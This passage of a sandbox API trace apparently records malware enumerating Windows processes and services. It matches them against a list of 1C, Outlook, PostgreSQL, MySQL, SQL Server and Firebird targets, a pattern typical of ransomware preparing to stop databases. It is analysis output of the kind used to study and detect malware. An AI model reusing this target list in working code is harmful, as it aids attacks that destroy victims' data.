Process32NextW (in: hSnapshot=0x1168, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0262.471] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0262.471] lstrcmpiW (lpString1="1c8.exe", lpString2="RuntimeBroker.exe") returned -1 [0262.472] lstrcmpiW (lpString1="1cv77.exe", lpString2="RuntimeBroker.exe") returned -1 [0262.472] lstrcmpiW (lpString1="outlook.exe", lpString2="RuntimeBroker.exe") returned -1 [0262.472] lstrcmpiW (lpString1="postgres.exe", lpString2="RuntimeBroker.exe") returned -1 [0262.472] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="RuntimeBroker.exe") returned -1 [0262.472] lstrcmpiW (lpString1="mysqld.exe", lpString2="RuntimeBroker.exe") returned -1 [0262.472] lstrcmpiW (lpString1="sqlservr.exe", lpString2="RuntimeBroker.exe") returned 1 [0262.472] Process32NextW (in: hSnapshot=0x1168, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0262.473] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0262.473] lstrcmpiW (lpString1="1c8.exe", lpString2="WmiPrvSE.exe") returned -1 [0262.473] lstrcmpiW (lpString1="1cv77.exe", lpString2="WmiPrvSE.exe") returned -1 [0262.473] lstrcmpiW (lpString1="outlook.exe", lpString2="WmiPrvSE.exe") returned -1 [0262.473] lstrcmpiW (lpString1="postgres.exe", lpString2="WmiPrvSE.exe") returned -1 [0262.473] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="WmiPrvSE.exe") returned -1 [0262.473] lstrcmpiW (lpString1="mysqld.exe", lpString2="WmiPrvSE.exe") returned -1 [0262.836] lstrcmpiW (lpString1="sqlservr.exe", lpString2="WmiPrvSE.exe") returned -1 [0262.836] Process32NextW (in: hSnapshot=0x1168, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x9c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="load0.exe")) returned 1 [0262.837] lstrlenW (lpString="load0.exe") returned 9 [0262.837] lstrcmpiW (lpString1="1c8.exe", lpString2="load0.exe") returned -1 [0262.838] lstrcmpiW (lpString1="1cv77.exe", lpString2="load0.exe") returned -1 [0262.838] lstrcmpiW (lpString1="outlook.exe", lpString2="load0.exe") returned 1 [0262.838] lstrcmpiW (lpString1="postgres.exe", lpString2="load0.exe") returned 1 [0262.838] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="load0.exe") returned 1 [0262.838] lstrcmpiW (lpString1="mysqld.exe", lpString2="load0.exe") returned 1 [0262.838] lstrcmpiW (lpString1="sqlservr.exe", lpString2="load0.exe") returned 1 [0262.838] Process32NextW (in: hSnapshot=0x1168, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x272c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x3c4, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0262.839] lstrlenW (lpString="consent.exe") returned 11 [0262.839] lstrcmpiW (lpString1="1c8.exe", lpString2="consent.exe") returned -1 [0262.839] lstrcmpiW (lpString1="1cv77.exe", lpString2="consent.exe") returned -1 [0262.839] lstrcmpiW (lpString1="outlook.exe", lpString2="consent.exe") returned 1 [0262.839] lstrcmpiW (lpString1="postgres.exe", lpString2="consent.exe") returned 1 [0262.839] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="consent.exe") returned 1 [0262.839] lstrcmpiW (lpString1="mysqld.exe", lpString2="consent.exe") returned 1 [0262.839] lstrcmpiW (lpString1="sqlservr.exe", lpString2="consent.exe") returned 1 [0262.840] Process32NextW (in: hSnapshot=0x1168, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x27cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0262.841] lstrlenW (lpString="dllhost.exe") returned 11 [0262.841] lstrcmpiW (lpString1="1c8.exe", lpString2="dllhost.exe") returned -1 [0262.841] lstrcmpiW (lpString1="1cv77.exe", lpString2="dllhost.exe") returned -1 [0262.841] lstrcmpiW (lpString1="outlook.exe", lpString2="dllhost.exe") returned 1 [0262.841] lstrcmpiW (lpString1="postgres.exe", lpString2="dllhost.exe") returned 1 [0262.841] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="dllhost.exe") returned 1 [0262.841] lstrcmpiW (lpString1="mysqld.exe", lpString2="dllhost.exe") returned 1 [0262.841] lstrcmpiW (lpString1="sqlservr.exe", lpString2="dllhost.exe") returned 1 [0262.841] Process32NextW (in: hSnapshot=0x1168, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x27cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0262.842] CloseHandle (hObject=0x1168) returned 1 [0262.842] Sleep (dwMilliseconds=0x1f4) [0263.522] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3f64640 [0263.522] EnumServicesStatusExW (in: hSCManager=0x3f64640, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0) returned 0 [0263.523] GetLastError () returned 0xea [0263.523] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1c30) returned 0x4076450 [0263.523] EnumServicesStatusExW (in: hSCManager=0x3f64640, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4076450, cbBufSize=0x1c30, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4076450, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0) returned 1 [0263.524] CloseServiceHandle (hSCObject=0x3f64640) returned 1 [0263.527] lstrlenW (lpString="Appinfo") returned 7 [0263.527] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0263.527] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0263.527] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0263.527] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0263.527] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0263.527] lstrlenW (lpString="AppXSvc") returned 7 [0263.527] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0263.527] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0263.527] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0263.527] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0263.527] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0263.527] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0263.527] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0263.527] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0263.528] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0263.528] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0263.528] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0263.528] lstrlenW (lpString="Audiosrv") returned 8 [0263.528] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0263.528] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0263.528] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0263.528] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0263.528] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0263.528] lstrlenW (lpString="BFE") returned 3 [0263.528] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0263.528] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0263.528] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0263.528] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0263.528] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0263.528] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0263.528] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0263.528] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0263.528] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0263.528] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0263.528] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0263.528] lstrlenW (lpString="CDPSvc") returned 6 [0263.528] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0263.528] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0263.528] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0263.528] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0263.528] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0263.528] lstrlenW (lpString="ClickToRunSvc") returned 13 [0263.529] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0263.529] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0263.529] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0263.529] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0263.529] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0263.529] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0263.529] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0263.529] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0263.529] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0263.529] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0263.529] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0263.529] lstrlenW (lpString="CryptSvc") returned 8 [0263.529] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0263.529] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0263.529] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0263.529] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0263.529] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0263.529] lstrlenW (lpString="DcomLaunch") returned 10 [0263.529] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0263.529] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0263.529] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0263.529] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0263.529] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0263.529] lstrlenW (lpString="DeviceAssociationService") returned 24 [0263.529] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0263.529] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0263.529] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0263.529] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0263.529] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0263.530] lstrlenW (lpString="Dhcp") returned 4 [0263.530] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0263.530] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0263.530] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0263.530] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0263.530] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0263.530] lstrlenW (lpString="Dnscache") returned 8 [0263.530] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0263.530] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0263.530] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0263.530] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0263.530] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0263.530] lstrlenW (lpString="DPS") returned 3 [0263.530] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0263.530] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0263.530] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0263.530] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0263.530] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0263.530] lstrlenW (lpString="DusmSvc") returned 7 [0263.530] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0263.530] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0263.530] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0263.530] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0263.530] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0263.530] lstrlenW (lpString="EventLog") returned 8 [0263.530] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0263.530] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0263.531] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0263.531] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0263.531] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0263.531] lstrlenW (lpString="EventSystem") returned 11 [0263.531] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0263.531] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0263.531] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0263.531] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0263.531] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0263.531] lstrlenW (lpString="FontCache") returned 9 [0263.531] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0263.531] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0263.531] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0263.531] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0263.531] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0263.531] lstrlenW (lpString="gpsvc") returned 5 [0263.531] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0263.531] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0263.531] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0263.531] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0263.531] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0263.531] lstrlenW (lpString="iphlpsvc") returned 8 [0263.531] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0263.531] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0263.531] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0263.531] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0263.532] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0263.532] lstrlenW (lpString="KeyIso") returned 6 [0263.532] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0263.532] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0263.532] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0263.532] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0263.532] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0263.532] lstrlenW (lpString="LanmanServer") returned 12 [0263.532] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0263.532] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0263.532] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0263.532] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0263.532] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0263.532] lstrlenW (lpString="LanmanWorkstation") returned 17 [0263.532] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0263.532] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0263.532] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0263.532] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0263.532] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0263.532] lstrlenW (lpString="lfsvc") returned 5 [0263.532] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0263.532] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0263.532] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0263.532] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0263.532] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0263.532] lstrlenW (lpString="lmhosts") returned 7 [0263.532] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0263.532] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0263.532] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0263.532] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0263.532] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0263.533] lstrlenW (lpString="LSM") returned 3 [0263.533] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0263.533] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0263.533] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0263.533] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0263.533] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0263.533] lstrlenW (lpString="MpsSvc") returned 6 [0263.533] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0263.533] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0263.533] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0263.533] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0263.533] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0263.533] lstrlenW (lpString="NcbService") returned 10 [0263.533] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0263.533] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0263.533] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0263.533] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0263.533] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0263.533] lstrlenW (lpString="netprofm") returned 8 [0263.533] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0263.533] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0263.533] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0263.533] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0263.533] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0263.533] lstrlenW (lpString="NgcSvc") returned 6 [0263.533] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0263.533] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0263.533] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0263.533] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0263.533] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0263.533] lstrlenW (lpString="NlaSvc") returned 6 [0263.533] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0263.534] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0263.534] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0263.534] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0263.534] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0263.534] lstrlenW (lpString="nsi") returned 3 [0263.534] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0263.534] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0263.534] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0263.534] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0263.534] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0263.534] lstrlenW (lpString="PcaSvc") returned 6 [0263.534] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0263.534] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0263.534] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0263.534] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0263.534] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0263.534] lstrlenW (lpString="PlugPlay") returned 8 [0263.534] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0263.534] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0263.534] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0263.534] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0263.534] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0263.534] lstrlenW (lpString="Power") returned 5 [0263.534] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0263.534] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0263.534] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0263.534] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0263.534] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0263.534] lstrlenW (lpString="ProfSvc") returned 7 [0263.535] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0263.535] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0263.535] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0263.535] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0263.535] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0263.535] lstrlenW (lpString="RpcEptMapper") returned 12 [0263.535] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0263.535] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0263.535] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0263.535] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0263.535] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0263.535] lstrlenW (lpString="RpcSs") returned 5 [0263.535] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0263.535] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0263.535] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0263.535] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0263.535] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0263.535] lstrlenW (lpString="SamSs") returned 5 [0263.535] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0263.535] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0263.535] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0263.535] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0263.535] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0263.535] lstrlenW (lpString="Schedule") returned 8 [0263.535] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0263.535] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0263.535] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0263.535] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0263.535] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0263.536] lstrlenW (lpString="SecurityHealthService") returned 21 [0263.536] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0263.536] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0263.536] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0263.536] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0263.536] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0263.536] lstrlenW (lpString="SENS") returned 4 [0263.536] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0263.536] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0263.536] lstrcmpiW 